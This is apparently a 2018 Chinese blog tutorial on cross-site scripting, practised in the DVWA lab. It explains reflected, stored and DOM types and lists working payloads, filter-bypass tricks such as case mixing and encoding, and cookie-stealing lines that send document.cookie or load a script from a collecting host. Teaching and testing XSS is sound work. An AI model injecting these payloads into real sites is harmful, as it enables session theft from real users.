XSS

1.什么是xss

XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

2.xss原理

(1).攻击者对某含有漏洞的服务器发起XSS攻击(注入JS代码)

(2)诱使受害者打开受到攻击的服务器URL(邮件、留言等,此步骤可选项)

(3)受害者在Web浏览器中打开URL,恶意脚本执行。

3.xss类型

 (1)反射性:

        非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

 (2)存储型:

      持久化,代码是存储在服务器中的,如在个人信息或发表文章以及留言板等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等

 (3)DOM:

      DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

4.演练(以下练习均在DVWA环境中实现)

    怎么找到XSS漏洞:

        个人理解:见框就插,因为一般的xss都是存在有文本框的地方。

    常见payload构建:

      <!-- 基本类型 -->

      <script>alert ('xss')</script>
      <script>alert ("xss")</script>
      <script>alert (/xss/)</script>
      <script>alert ('xss');</script>

      <script>alert('document.cookie')</script>  //获取本地cookie

      <!-- 利用基本事件 -->

      <img src=x onerror=alert(1)> //事件会在文档或图像加载过程中发生错误时被触发
      <img scr=x onload=alert(1)> //图片正常加载才执行onload
      <img scr=x onclick=alert(1)>//事件会在对象被点击时发生

      <img scr=x onmouseover=alert(1) > //当鼠标指针移动到图像上时执行一段 JavaScript:

      <!-- 利用Javascript伪协议 -->

      <iframe src="Javascript:alert(1)"></iframe>

      <!-- XSS获取cookie -->
      <script>window.open('http://127.0.0.1/cookie.php?cookie='+document.cookie)</script>
      <script src=http://127.0.0.1/test.js></script>

 

  (1).反射性:

      直接在页面反弹

      payload:<script>alert('xss')</script>

      

      payload:<script>alert(document.cookie)</script> 获取本地cookie

      

  (2)存储型

        插到数据库当中,每次打开都会反弹。大多数存在于留言板。

        payload ; <script>alert('xss')</script>

        

        又插入一个payload:<script>alert('document.cookie')</script>   (两个都会反弹)

          

   (3).DOM

        属于反射性

        payload:<script>alert('xss')</script>  (把原来的参数换成自己的payload)

        

 

 

 5.绕过方法  

1.利用<script>标签
2. 利用html标签的属性值
3. 利用空字符
4. 利用事件
onclick 鼠标单击
onchange 内容发生改变
onerror 图片等未找到时
onload 页面加载
onmouseover 鼠标悬停
onmouseout 鼠标移出
onmousemove 鼠标路过
5. 扰乱过滤规则
1)大小写混合
<sCRipt>alert('xss')</script>
2)引号的使用
<script>alert('xss')</script>
<script>alert("xss")</script>
<script>alert(/xss/)</script>
3)<iframe/src=javascript:alert(1)>
6. 利用字符编码
1)HTML进制编码
标签中的某些属性值可以使用html十进制、十六进制表示
2)JavaScript编码
JavaScript支持unicode、八进制、十六进制、十进制等
3)URL编码
4)base64编码

 

6.常见绕过实战  

      http://www.cnblogs.com/pangya/p/8979211.html

 

        

 

 

                                      关注网络安全

posted @ 2018-05-02 15:26  G0mini  阅读(777)  评论(0编辑  收藏  举报